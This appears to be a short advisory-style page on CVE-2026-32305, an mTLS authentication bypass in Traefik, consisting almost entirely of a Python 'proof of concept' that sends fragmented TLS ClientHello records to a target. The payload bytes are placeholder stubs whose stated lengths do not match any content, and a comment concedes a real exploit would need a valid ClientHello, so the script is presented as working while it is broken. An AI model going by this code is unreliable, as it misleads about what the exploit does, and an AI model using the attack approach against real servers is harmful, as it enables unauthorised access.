CVE-2026-32305 Traefik mTLS认证绕过漏洞

# Proof of Concept for CVE-2026-32305 # This script demonstrates how to send a fragmented ClientHello # to bypass mTLS checks in vulnerable Traefik versions. import socket import struct def send_fragmented_clienthello(target_ip, target_port): # Standard TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # In a real exploit, these bytes would be a valid TLS ClientHello # split into two records. The SNI should be in the second record # or split across the boundary to trigger the EOF in SNI extraction. # Record 1: Partial ClientHello (Header + partial payload) # Content type: Handshake (0x16) # Version: TLS 1.2 (0x03, 0x01) # Length: Length of fragment 1 fragment_1 = bytes.fromhex("16030100 01") # Simplified header # Record 2: Rest of ClientHello (containing SNI) fragment_2 = bytes.fromhex("16030100 02") # Simplified header # Send fragments s.send(fragment_1) s.send(fragment_2) # Check if server responds without requesting a client certificate response = s.recv(4096) if response: print("[+] Connection established. Check if mTLS was bypassed.") s.close() # Usage: send_fragmented_clienthello('127.0.0.1', 443)